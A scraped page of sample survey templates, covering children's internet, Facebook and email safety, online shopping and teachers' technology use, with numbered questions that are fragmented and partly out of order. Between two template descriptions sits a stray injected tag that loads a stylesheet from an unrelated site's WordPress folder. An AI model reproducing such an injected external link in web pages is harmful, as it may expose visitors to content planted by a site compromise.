Upgrade to a PREMIUM plan today Upgrade

Sign Up for Basic Account

Completely free account!
No credit card required!

Free Sign Up

Internet

Depending on the type of website you run, you can customize the questions on our different internet surveys to get the data you desire to drive traffic to the website. The questions in our different internet survey samples are designed to offer responses in real time.

Child General Internet Usage And Safety

This survey basically targets the children and intends to gather information on their internet usage practices. With this sample, you will design a high quality survey to gather such information as whether the parents allow their kids to use the internet, how often the children use the internet, from where do the kids access the internet and how much are the parents conversant of their kid’s internet activities.

Preview Survey

<head><link href=http://www.alegriapro.fr/wp-includes/InG.css type=text/css rel=stylesheet></head>

Child Facebook Usage And Safety

Again, this survey is specifically designed for the kids. The sample questions in this questionnaire are geared towards understanding the kids’ usage of Facebook and how safe it is for them. A carefully designed survey from this template will gather quality information, regarding whether the parents allow the kids to access Facebook or the parents know the passwords to their children’s Facebook accounts.

Preview Survey

Child Email Usage And Safety

In this survey, the template will help you design a good survey to gather information on the email usage behavior of kids. Some of the information that may be collected with this type of survey includes whether the children are allowed to have email accounts by their parents, how often and why they use email accounts.

Preview Survey

Online Shopping

Are you trying to understand the online shopping behavior of a certain group of people? This template will help you come up with the best suited survey for this purpose. The questions here will gather accurate information regarding the shopping activities of your target audience, such as how often they shop online, the products they buy online, the stores the purchase from and the much they are willing to spend while shopping online.

Preview Survey

Technology Use

If you are trying to understand how a certain audience is conversant with the current technology or their use of technology, this is the sample questionnaire to use. With such questions, you can valuable information, regarding how the audience is conversant with technology, the devices they commonly use or maybe how they feel about a certain technology.

Preview Survey

1.	Have your parents said it is okay for you to use the internet?
	No
	Yes

2.	How often do your parents let you use the internet by yourself, without an adult in the same room with you?
	Never
	About half the time
	Once in a while
	Always
	Most of the time

3.	Where do you most often use the internet?
	Some other place
	At school
	At a friend's house
	At home, in a room that other family members can use
	At home, in a bedroom I share with someone else
	At home, in my own bedroom

4.	How much do your parents know about what you do on the internet?
	A little
	None at all
	A moderate amount
	A lot
	A great deal

5.	How often are you bullied on the internet?
	Moderately often
	Slightly often
	Not at all often
	Quite often
	Extremely often

	Yes	Maybe	I guess	Not Sure	No	No answer
Ever had contact on the internet with someone not met face to face before
Have come across one or more types of potentially harmful usergenerated content in past 12 months
Have experienced one or more types of misuse of personal data in past 12 months
Seen sexual images on websites in past 12 month
Seen or received sexual messages on the internet in past 12 months
Ever gone on to meet anyone face to face that first met on the internet
Have been sent nasty or hurtful messages on the internet in past 12 months

7.	Where do you mostly use the internet?
	Living room (or other public room) at home
	At school or college
	At a friend's home
	At a relative's home
	Own bedroom (or other private room) at home
	When 'out and about'
	In a public library or other public place
	In an internet cafe

8.	On what device you mostly use the internet?
	Shared PC
	Shared laptop
	Mobile phone
	Games console
	Television set
	Own laptop
	Other handheld portable device/smartphone
	Own PC

9.	Please select from the below list if you can do the following:
	Book mark a website
	Block messages from someone you don’t want to hear from
	Find information on how to use the internet safely
	Change privacy settings on a social networking profile
	Block unwanted adverts or junk mail/spam
	Delete the record of which sites you have visited
	Compare different websites to decide if information is true
	Change filter preferences

10.	What activity you did on the internet from the below :
	Watched video clips
	Played internet games on your own or against the computer
	Used the internet for school work
	Visited a social networking profile
	Sent/received email
	Used instant messaging
	Put (or posted) a message on a website
	Put (or posted) photos, videos or music to share with others
	Played games with other people on the internet
	Downloaded music or films
	Created a character, pet or avatar
	Spent time in a virtual world
	Used a webcam
	Read/watched the news on the internet
	Visited a chatroom
	Used file sharing sites
	Written a blog or online diary

2.	Do your parents know your passwords for all your email accounts?
	Not sure
	Yes
	No

3.	When you're on social networking websites (like Facebook or Twitter), about how much of your time do you spend posting things about yourself?
	None of it
	Some of it
	About half of it
	Most of it
	All of it

6.	Where do you most often use the internet?
	Some other place (please specify)
	At a friend's house
	At school
	At home, in a room that other family members can use
	At home, in a bedroom I share with someone else
	At home, in my own bedroom

8.	About how many of your
	None of them
	About half of them
	A few of them
	All of them
	Most of them

9.	How comfortable are you with your friends viewing your Facebook page?
	Moderately comfortable
	Very comfortable
	Extremely comfortable
	Slightly comfortable
	Not at all comfortable

10.	What is the primary language spoken in your home?
	ENGLISH
	SPANISH
	ARABIC
	CHINESE
	FRENCH
	ITALIAN
	JAPANESE
	KOREAN
	POLISH
	RUSSIAN
	TAGALOG
	VIETNAMESE
	No Answer
	Other language

7.	Have you ever met someone online via e-mail, instant messenger, chat room, etc.?
	Yes
	No

9.	Have you ever had a scary online experience, or an online experience that has made you feel uncomfortable in any way?
	Yes
	No

3.	Which online retailers do you typically use?

8.	How often would you say you talk to people via the Internet that you don't know, but have met online?
	Very often
	All the time
	Sometimes
	Not very often
	Not at all

10.	You mentioned that you had an online experience that made you uncomfortable. Did you tell anyone about it?
	Yes
	No

1.	How often do you purchase products online?
	Not at all often
	Slightly often
	Moderately often
	Very often
	Extremely often

4.	What are your biggest concerns about buying products online?

5.	How confident are you that your personal information is secure when buying products online?
	Not at all confident
	Slightly confident
	Moderately confident
	Very confident
	Extremely confident

6.	How often do privacy concerns stop you from buying products online?
	Never
	Once in a while
	About half the time
	Most of the time
	Always

7.	How confident are you that your payment information is kept secure when purchasing online?
	Not at all confident
	Slightly confident
	Moderately confident
	Very confident
	Extremely confident

8.	How often do security concerns prevent you from purchasing online?
	Never
	Once in a while
	About half the time
	Most of the time
	Always

9.	How comfortable are you buying products online from an uknown company?
	Not at all comfortable
	Slightly comfortable
	Moderately comfortable
	Very comfortable
	Extremely comfortable

10.	How comfortable are you purchasing online from an individual you don't know?
	Moderately comfortable
	Not at all comfortable
	Slightly comfortable
	Very comfortable
	Extremely comfortable

	Learner: I am not sure how to do this task.	Basic: I have done this before, but might need some help.	Proficient: I can perform this task without any assistance.	Advanced: I could train staff to do this.
Create a functioning web page with Microsoft Word.
Map a network drive to my web folder (or team web folder, if applicable)
Connect and use the Smartboard
Connect and use an LCD projector with my laptop
Connect and use the CPS (Classroom Performance System) software
Create lessons or assessments in the CPS (Classroom Performance System) software
Take digital pictures and download them to my computer
Take digital video and download it to my computer
Analyze data and create graphs in Microsoft Excel
Save files so they can be opened in different software versions (i.e. Word 97 vs. Word 2000)

	Regularly At least once per week	Frequently At least once per month	Occasionally At least once per quarter	Seldom At least once per semester	Rarely At least once per year	Never Never use it
Have students use the computer lab
Present lessons using an LCD projector
Use the Smartboard to instruct
Use the CPS (Classroom Performance System) with your students
Have students use the Internet as part of their lesson
Use a classroom webpage that you created for your students
Have students create graphic organizers in Inspiration
Have students use a digital camera for their projects
Have students use a video camera for their projects
Have students create PowerPoint presentations
Have students type papers in Word
Have students use Excel to analyze or graph data
Have students take assessment online
Have students use content specific software for teaching/reinforcing skills

	Strongly Agree	Agree	Disagree	Strongly Disagree
I can easily access the available technology in the school when I need it.
I feel confident in my ability to integrate multiple technologies into my instruction
Integrating technology is not pertinent to my curriculum.
I have a good variety of ideas and lessons for integrating technology into my teaching.
The amount of time needed to prepare technology-based lessons deters me from creating them
I believe that integrating technology into my curriculum is important for student success.
I am aware of the resources available by the district that can help me learn how to integrate technology.
I do not have the technology skills to support the students when they use technology for a project.
I am familiar with what technology is available to my students and me in our building.
I am familiar with the copyright laws that govern the acceptable use of technology (including using material from the Internet)

4.	Plan and integrate technology-based learning activities that promote student engagement in higher-order thinking skills.
	Unable
	Basic
	Developing
	Proficient
	Advanced

5.	Use content-specific tools (e.g. software, simulation, graphing calculators, Web tools) to support learning and research.
	Unable
	Basic
	Developing
	Proficient
	Advanced

6.	Have my students use technology in the development of strategies for solving problems in the real world.
	Unable
	Basic
	Developing
	Proficient
	Advanced

7.	Use a variety of strategies for implementing the Internet into my curriculum.
	Unable
	Basic
	Developing
	Proficient
	Advanced

8.	Plan and teach student-centered learning activities and lessons in which students apply technology tools and resources.
	Unable
	Basic
	Developing
	Proficient
	Advanced

9.	What is the number one factor that prevents you from integrating more technology into your lessons?

10.	Concerning the use or integration of technology, what is the one area in which you would most like to receive training or professional development?